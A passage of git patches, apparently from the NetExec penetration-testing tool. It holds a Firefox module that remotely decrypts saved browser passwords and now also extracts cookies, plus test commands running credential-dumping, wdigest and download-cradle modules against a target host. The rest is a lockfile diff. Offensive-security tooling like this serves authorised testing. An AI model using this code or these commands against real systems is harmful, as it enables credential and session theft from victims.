= self.conn.readFile(self.share, key4_path) if key4_data is None: continue key = self.get_key(key4_data=key4_data) @@ -94,20 +109,45 @@ class FirefoxTriage: decoded_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2]).decode("utf-8") password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8") if password is not None and decoded_username is not None: - firefox_data.append( - FirefoxData( + data = FirefoxData( winuser=user, url=host, username=decoded_username, password=password, ) - ) + if self.per_secret_callback is not None: + self.per_secret_callback(data) + firefox_data.append(data) except Exception as e: if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): continue self.logger.exception(e) return firefox_data + def parse_cookie_data(self, windows_user, cookies_data): + cookies = [] + fh = tempfile.NamedTemporaryFile(delete=False) + fh.write(cookies_data) + fh.seek(0) + db = sqlite3.connect(fh.name) + cursor = db.cursor() + cursor.execute("SELECT name, value, host, path, expiry, lastAccessed, creationTime FROM moz_cookies;") + for name, value, host, path, expiry, lastAccessed, creationTime in cursor: + cookie = FirefoxCookie( + winuser=windows_user, + host=host, + path=path, + cookie_name=name, + cookie_value=value, + creation_utc=creationTime, + last_access_utc=lastAccessed, + expires_utc=expiry, + ) + if self.per_secret_callback is not None: + self.per_secret_callback(cookie) + cookies.append(cookie) + return cookies + def get_login_data(self, logins_data): json_logins = json.loads(logins_data) if "logins" not in json_logins: diff --git a/pyproject.toml b/pyproject.toml index 93f72049..ea39d07c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -41,7 +41,7 @@ argcomplete = "^3.1.4" asyauth = ">=0.0.20" beautifulsoup4 = ">=4.11,<5" bloodhound = "^1.7.2" -dploot = "^2.7.4" +dploot = "^3.0.3" dsinternals = "^1.2.4" impacket = { git = "https://github.com/fortra/impacket.git" } lsassy = ">=3.1.11" diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 321aa9bb..34537375 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -72,6 +72,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_av netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox -o COOKIES=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_autologin netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_password @@ -136,6 +137,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M veeam netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=enable netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=disable netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle From 2efaafaf92c5471fc74833a3d6951634fc0d91d0 Mon Sep 17 00:00:00 2001 From: zblurx Date: Fri, 22 Nov 2024 17:33:10 +0100 Subject: [PATCH 099/376] update poetry.lock --- poetry.lock | 253 +++++++++++++++++++++++++++++++--------------------- 1 file changed, 150 insertions(+), 103 deletions(-) diff --git a/poetry.lock b/poetry.lock index 2e614965..5b6fe359 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 1.8.3 and should not be changed by hand. +# This file is automatically @generated by Poetry 1.8.4 and should not be changed by hand. [[package]] name = "aardwolf" @@ -679,19 +679,19 @@ wmi = ["wmi (>=1.5.1)"] [[package]] name = "dploot" -version = "2.7.4" +version = "3.0.3" description = "DPAPI looting remotely in Python" optional = false -python-versions = "<4.0,>=3.7" +python-versions = "<4.0.0,>=3.10.0" files = [ - {file = "dploot-2.7.4-py3-none-any.whl", hash = "sha256:6f1748aead849bc7c8718fb206e201dbf2b1ad50f63d40d23b81c2827e8ac326"}, - {file = "dploot-2.7.4.tar.gz", hash = "sha256:2a74af7899533f2e511a1bfc12c3f1baba477ae392ba6260fd3da19ea7239634"}, + {file = "dploot-3.0.3-py3-none-any.whl", hash = "sha256:8d0a2c90e77594b4a7f5b4cee64f71b38d295da27151b5c4f5a0584a7d00ff3b"}, + {file = "dploot-3.0.3.tar.gz", hash = "sha256:301b8ef5a9c27bcc030feef6a51fdb16b579a40984216636a4a4af3d24ead324"}, ] [package.dependencies] cryptography = ">=40.0.1" -impacket = ">=0.10.0" -lxml = "4.9.3" +impacket = ">=0.12.0" +lxml = ">=5.0" pyasn1 = ">=0.4.8,<0.5.0" [[package]] @@ -1009,110 +1009,157 @@ rich = "*" [[package]] name = "lxml" -version = "4.9.3" +version = "5.3.0" description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, != 3.4.*" +python-versions = ">=3.6" files = [ - {file = "lxml-4.9.3-cp27-cp27m-macosx_11_0_x86_64.whl", hash = "sha256:b0a545b46b526d418eb91754565ba5b63b1c0b12f9bd2f808c852d9b4b2f9b5c"}, - {file = "lxml-4.9.3-cp27-cp27m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:075b731ddd9e7f68ad24c635374211376aa05a281673ede86cbe1d1b3455279d"}, - {file = "lxml-4.9.3-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:1e224d5755dba2f4a9498e150c43792392ac9b5380aa1b845f98a1618c94eeef"}, - {file = "lxml-4.9.3-cp27-cp27m-win32.whl", hash = "sha256:2c74524e179f2ad6d2a4f7caf70e2d96639c0954c943ad601a9e146c76408ed7"}, - {file = "lxml-4.9.3-cp27-cp27m-win_amd64.whl", hash = "sha256:4f1026bc732b6a7f96369f7bfe1a4f2290fb34dce00d8644bc3036fb351a4ca1"}, - {file = "lxml-4.9.3-cp27-cp27mu-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c0781a98ff5e6586926293e59480b64ddd46282953203c76ae15dbbbf302e8bb"}, - {file = "lxml-4.9.3-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:cef2502e7e8a96fe5ad686d60b49e1ab03e438bd9123987994528febd569868e"}, - {file = "lxml-4.9.3-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:b86164d2cff4d3aaa1f04a14685cbc072efd0b4f99ca5708b2ad1b9b5988a991"}, - {file = "lxml-4.9.3-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:42871176e7896d5d45138f6d28751053c711ed4d48d8e30b498da155af39aebd"}, - {file = "lxml-4.9.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:ae8b9c6deb1e634ba4f1930eb67ef6e6bf6a44b6eb5ad605642b2d6d5ed9ce3c"}, - {file = "lxml-4.9.3-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:411007c0d88188d9f621b11d252cce90c4a2d1a49db6c068e3c16422f306eab8"}, - {file = "lxml-4.9.3-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:cd47b4a0d41d2afa3e58e5bf1f62069255aa2fd6ff5ee41604418ca925911d76"}, - {file = "lxml-4.9.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:0e2cb47860da1f7e9a5256254b74ae331687b9672dfa780eed355c4c9c3dbd23"}, - {file = "lxml-4.9.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:1247694b26342a7bf47c02e513d32225ededd18045264d40758abeb3c838a51f"}, - {file = "lxml-4.9.3-cp310-cp310-win32.whl", hash = "sha256:cdb650fc86227eba20de1a29d4b2c1bfe139dc75a0669270033cb2ea3d391b85"}, - {file = "lxml-4.9.3-cp310-cp310-win_amd64.whl", hash = "sha256:97047f0d25cd4bcae81f9ec9dc290ca3e15927c192df17331b53bebe0e3ff96d"}, - {file = "lxml-4.9.3-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:1f447ea5429b54f9582d4b955f5f1985f278ce5cf169f72eea8afd9502973dd5"}, - {file = "lxml-4.9.3-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:57d6ba0ca2b0c462f339640d22882acc711de224d769edf29962b09f77129cbf"}, - {file = "lxml-4.9.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:9767e79108424fb6c3edf8f81e6730666a50feb01a328f4a016464a5893f835a"}, - {file = "lxml-4.9.3-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:71c52db65e4b56b8ddc5bb89fb2e66c558ed9d1a74a45ceb7dcb20c191c3df2f"}, - {file = "lxml-4.9.3-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:d73d8ecf8ecf10a3bd007f2192725a34bd62898e8da27eb9d32a58084f93962b"}, - {file = "lxml-4.9.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0a3d3487f07c1d7f150894c238299934a2a074ef590b583103a45002035be120"}, - {file = "lxml-4.9.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9e28c51fa0ce5674be9f560c6761c1b441631901993f76700b1b30ca6c8378d6"}, - {file = "lxml-4.9.3-cp311-cp311-win32.whl", hash = "sha256:0bfd0767c5c1de2551a120673b72e5d4b628737cb05414f03c3277bf9bed3305"}, - {file = "lxml-4.9.3-cp311-cp311-win_amd64.whl", hash = "sha256:25f32acefac14ef7bd53e4218fe93b804ef6f6b92ffdb4322bb6d49d94cad2bc"}, - {file = "lxml-4.9.3-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:d3ff32724f98fbbbfa9f49d82852b159e9784d6094983d9a8b7f2ddaebb063d4"}, - {file = "lxml-4.9.3-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:48d6ed886b343d11493129e019da91d4039826794a3e3027321c56d9e71505be"}, - {file = "lxml-4.9.3-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:9a92d3faef50658dd2c5470af249985782bf754c4e18e15afb67d3ab06233f13"}, - {file = "lxml-4.9.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b4e4bc18382088514ebde9328da057775055940a1f2e18f6ad2d78aa0f3ec5b9"}, - {file = "lxml-4.9.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fc9b106a1bf918db68619fdcd6d5ad4f972fdd19c01d19bdb6bf63f3589a9ec5"}, - {file = "lxml-4.9.3-cp312-cp312-win_amd64.whl", hash = "sha256:d37017287a7adb6ab77e1c5bee9bcf9660f90ff445042b790402a654d2ad81d8"}, - {file = "lxml-4.9.3-cp35-cp35m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:56dc1f1ebccc656d1b3ed288f11e27172a01503fc016bcabdcbc0978b19352b7"}, - {file = "lxml-4.9.3-cp35-cp35m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:578695735c5a3f51569810dfebd05dd6f888147a34f0f98d4bb27e92b76e05c2"}, - {file = "lxml-4.9.3-cp35-cp35m-win32.whl", hash = "sha256:704f61ba8c1283c71b16135caf697557f5ecf3e74d9e453233e4771d68a1f42d"}, - {file = "lxml-4.9.3-cp35-cp35m-win_amd64.whl", hash = "sha256:c41bfca0bd3532d53d16fd34d20806d5c2b1ace22a2f2e4c0008570bf2c58833"}, - {file = "lxml-4.9.3-cp36-cp36m-macosx_11_0_x86_64.whl", hash = "sha256:64f479d719dc9f4c813ad9bb6b28f8390360660b73b2e4beb4cb0ae7104f1c12"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:dd708cf4ee4408cf46a48b108fb9427bfa00b9b85812a9262b5c668af2533ea5"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c31c7462abdf8f2ac0577d9f05279727e698f97ecbb02f17939ea99ae8daa98"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:e3cd95e10c2610c360154afdc2f1480aea394f4a4f1ea0a5eacce49640c9b190"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_28_x86_64.whl", hash = "sha256:4930be26af26ac545c3dffb662521d4e6268352866956672231887d18f0eaab2"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4aec80cde9197340bc353d2768e2a75f5f60bacda2bab72ab1dc499589b3878c"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:14e019fd83b831b2e61baed40cab76222139926b1fb5ed0e79225bc0cae14584"}, - {file = "lxml-4.9.3-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:0c0850c8b02c298d3c7006b23e98249515ac57430e16a166873fc47a5d549287"}, - {file = "lxml-4.9.3-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:aca086dc5f9ef98c512bac8efea4483eb84abbf926eaeedf7b91479feb092458"}, - {file = "lxml-4.9.3-cp36-cp36m-win32.whl", hash = "sha256:50baa9c1c47efcaef189f31e3d00d697c6d4afda5c3cde0302d063492ff9b477"}, - {file = "lxml-4.9.3-cp36-cp36m-win_amd64.whl", hash = "sha256:bef4e656f7d98aaa3486d2627e7d2df1157d7e88e7efd43a65aa5dd4714916cf"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:46f409a2d60f634fe550f7133ed30ad5321ae2e6630f13657fb9479506b00601"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:4c28a9144688aef80d6ea666c809b4b0e50010a2aca784c97f5e6bf143d9f129"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:141f1d1a9b663c679dc524af3ea1773e618907e96075262726c7612c02b149a4"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:53ace1c1fd5a74ef662f844a0413446c0629d151055340e9893da958a374f70d"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:17a753023436a18e27dd7769e798ce302963c236bc4114ceee5b25c18c52c693"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:7d298a1bd60c067ea75d9f684f5f3992c9d6766fadbc0bcedd39750bf344c2f4"}, - {file = "lxml-4.9.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:081d32421db5df44c41b7f08a334a090a545c54ba977e47fd7cc2deece78809a"}, - {file = "lxml-4.9.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:23eed6d7b1a3336ad92d8e39d4bfe09073c31bfe502f20ca5116b2a334f8ec02"}, - {file = "lxml-4.9.3-cp37-cp37m-win32.whl", hash = "sha256:1509dd12b773c02acd154582088820893109f6ca27ef7291b003d0e81666109f"}, - {file = "lxml-4.9.3-cp37-cp37m-win_amd64.whl", hash = "sha256:120fa9349a24c7043854c53cae8cec227e1f79195a7493e09e0c12e29f918e52"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:4d2d1edbca80b510443f51afd8496be95529db04a509bc8faee49c7b0fb6d2cc"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:8d7e43bd40f65f7d97ad8ef5c9b1778943d02f04febef12def25f7583d19baac"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:71d66ee82e7417828af6ecd7db817913cb0cf9d4e61aa0ac1fde0583d84358db"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:6fc3c450eaa0b56f815c7b62f2b7fba7266c4779adcf1cece9e6deb1de7305ce"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:65299ea57d82fb91c7f019300d24050c4ddeb7c5a190e076b5f48a2b43d19c42"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:eadfbbbfb41b44034a4c757fd5d70baccd43296fb894dba0295606a7cf3124aa"}, - {file = "lxml-4.9.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:3e9bdd30efde2b9ccfa9cb5768ba04fe71b018a25ea093379c857c9dad262c40"}, - {file = "lxml-4.9.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:fcdd00edfd0a3001e0181eab3e63bd5c74ad3e67152c84f93f13769a40e073a7"}, - {file = "lxml-4.9.3-cp38-cp38-win32.whl", hash = "sha256:57aba1bbdf450b726d58b2aea5fe47c7875f5afb2c4a23784ed78f19a0462574"}, - {file = "lxml-4.9.3-cp38-cp38-win_amd64.whl", hash = "sha256:92af161ecbdb2883c4593d5ed4815ea71b31fafd7fd05789b23100d081ecac96"}, - {file = "lxml-4.9.3-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:9bb6ad405121241e99a86efff22d3ef469024ce22875a7ae045896ad23ba2340"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:8ed74706b26ad100433da4b9d807eae371efaa266ffc3e9191ea436087a9d6a7"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:fbf521479bcac1e25a663df882c46a641a9bff6b56dc8b0fafaebd2f66fb231b"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:303bf1edce6ced16bf67a18a1cf8339d0db79577eec5d9a6d4a80f0fb10aa2da"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:5515edd2a6d1a5a70bfcdee23b42ec33425e405c5b351478ab7dc9347228f96e"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:690dafd0b187ed38583a648076865d8c229661ed20e48f2335d68e2cf7dc829d"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:b6420a005548ad52154c8ceab4a1290ff78d757f9e5cbc68f8c77089acd3c432"}, - {file = "lxml-4.9.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bb3bb49c7a6ad9d981d734ef7c7193bc349ac338776a0360cc671eaee89bcf69"}, - {file = "lxml-4.9.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d27be7405547d1f958b60837dc4c1007da90b8b23f54ba1f8b728c78fdb19d50"}, - {file = "lxml-4.9.3-cp39-cp39-win32.whl", hash = "sha256:8df133a2ea5e74eef5e8fc6f19b9e085f758768a16e9877a60aec455ed2609b2"}, - {file = "lxml-4.9.3-cp39-cp39-win_amd64.whl", hash = "sha256:4dd9a263e845a72eacb60d12401e37c616438ea2e5442885f65082c276dfb2b2"}, - {file = "lxml-4.9.3-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:6689a3d7fd13dc687e9102a27e98ef33730ac4fe37795d5036d18b4d527abd35"}, - {file = "lxml-4.9.3-pp37-pypy37_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:f6bdac493b949141b733c5345b6ba8f87a226029cbabc7e9e121a413e49441e0"}, - {file = "lxml-4.9.3-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:05186a0f1346ae12553d66df1cfce6f251589fea3ad3da4f3ef4e34b2d58c6a3"}, - {file = "lxml-4.9.3-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c2006f5c8d28dee289f7020f721354362fa304acbaaf9745751ac4006650254b"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-macosx_11_0_x86_64.whl", hash = "sha256:5c245b783db29c4e4fbbbfc9c5a78be496c9fea25517f90606aa1f6b2b3d5f7b"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:4fb960a632a49f2f089d522f70496640fdf1218f1243889da3822e0a9f5f3ba7"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:50670615eaf97227d5dc60de2dc99fb134a7130d310d783314e7724bf163f75d"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9719fe17307a9e814580af1f5c6e05ca593b12fb7e44fe62450a5384dbf61b4b"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:3331bece23c9ee066e0fb3f96c61322b9e0f54d775fccefff4c38ca488de283a"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-macosx_11_0_x86_64.whl", hash = "sha256:ed667f49b11360951e201453fc3967344d0d0263aa415e1619e85ae7fd17b4e0"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:8b77946fd508cbf0fccd8e400a7f71d4ac0e1595812e66025bac475a8e811694"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:e4da8ca0c0c0aea88fd46be8e44bd49716772358d648cce45fe387f7b92374a7"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fe4bda6bd4340caa6e5cf95e73f8fea5c4bfc55763dd42f1b50a94c1b4a2fbd4"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:f3df3db1d336b9356dd3112eae5f5c2b8b377f3bc826848567f10bfddfee77e9"}, - {file = "lxml-4.9.3.tar.gz", hash = "sha256:48628bd53a426c9eb9bc066a923acaa0878d1e86129fd5359aee99285f4eed9c"}, + {file = "lxml-5.3.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:dd36439be765e2dde7660212b5275641edbc813e7b24668831a5c8ac91180656"}, + {file = "lxml-5.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ae5fe5c4b525aa82b8076c1a59d642c17b6e8739ecf852522c6321852178119d"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:501d0d7e26b4d261fca8132854d845e4988097611ba2531408ec91cf3fd9d20a"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fb66442c2546446944437df74379e9cf9e9db353e61301d1a0e26482f43f0dd8"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9e41506fec7a7f9405b14aa2d5c8abbb4dbbd09d88f9496958b6d00cb4d45330"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f7d4a670107d75dfe5ad080bed6c341d18c4442f9378c9f58e5851e86eb79965"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:41ce1f1e2c7755abfc7e759dc34d7d05fd221723ff822947132dc934d122fe22"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:44264ecae91b30e5633013fb66f6ddd05c006d3e0e884f75ce0b4755b3e3847b"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:3c174dc350d3ec52deb77f2faf05c439331d6ed5e702fc247ccb4e6b62d884b7"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:2dfab5fa6a28a0b60a20638dc48e6343c02ea9933e3279ccb132f555a62323d8"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:b1c8c20847b9f34e98080da785bb2336ea982e7f913eed5809e5a3c872900f32"}, + {file = "lxml-5.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2c86bf781b12ba417f64f3422cfc302523ac9cd1d8ae8c0f92a1c66e56ef2e86"}, + {file = "lxml-5.3.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:c162b216070f280fa7da844531169be0baf9ccb17263cf5a8bf876fcd3117fa5"}, + {file = "lxml-5.3.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:36aef61a1678cb778097b4a6eeae96a69875d51d1e8f4d4b491ab3cfb54b5a03"}, + {file = "lxml-5.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f65e5120863c2b266dbcc927b306c5b78e502c71edf3295dfcb9501ec96e5fc7"}, + {file = "lxml-5.3.0-cp310-cp310-win32.whl", hash = "sha256:ef0c1fe22171dd7c7c27147f2e9c3e86f8bdf473fed75f16b0c2e84a5030ce80"}, + {file = "lxml-5.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:052d99051e77a4f3e8482c65014cf6372e61b0a6f4fe9edb98503bb5364cfee3"}, + {file = "lxml-5.3.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:74bcb423462233bc5d6066e4e98b0264e7c1bed7541fff2f4e34fe6b21563c8b"}, + {file = "lxml-5.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a3d819eb6f9b8677f57f9664265d0a10dd6551d227afb4af2b9cd7bdc2ccbf18"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5b8f5db71b28b8c404956ddf79575ea77aa8b1538e8b2ef9ec877945b3f46442"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2c3406b63232fc7e9b8783ab0b765d7c59e7c59ff96759d8ef9632fca27c7ee4"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2ecdd78ab768f844c7a1d4a03595038c166b609f6395e25af9b0f3f26ae1230f"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:168f2dfcfdedf611eb285efac1516c8454c8c99caf271dccda8943576b67552e"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa617107a410245b8660028a7483b68e7914304a6d4882b5ff3d2d3eb5948d8c"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:69959bd3167b993e6e710b99051265654133a98f20cec1d9b493b931942e9c16"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:bd96517ef76c8654446fc3db9242d019a1bb5fe8b751ba414765d59f99210b79"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:ab6dd83b970dc97c2d10bc71aa925b84788c7c05de30241b9e96f9b6d9ea3080"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:eec1bb8cdbba2925bedc887bc0609a80e599c75b12d87ae42ac23fd199445654"}, + {file = "lxml-5.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6a7095eeec6f89111d03dabfe5883a1fd54da319c94e0fb104ee8f23616b572d"}, + {file = "lxml-5.3.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:6f651ebd0b21ec65dfca93aa629610a0dbc13dbc13554f19b0113da2e61a4763"}, + {file = "lxml-5.3.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = 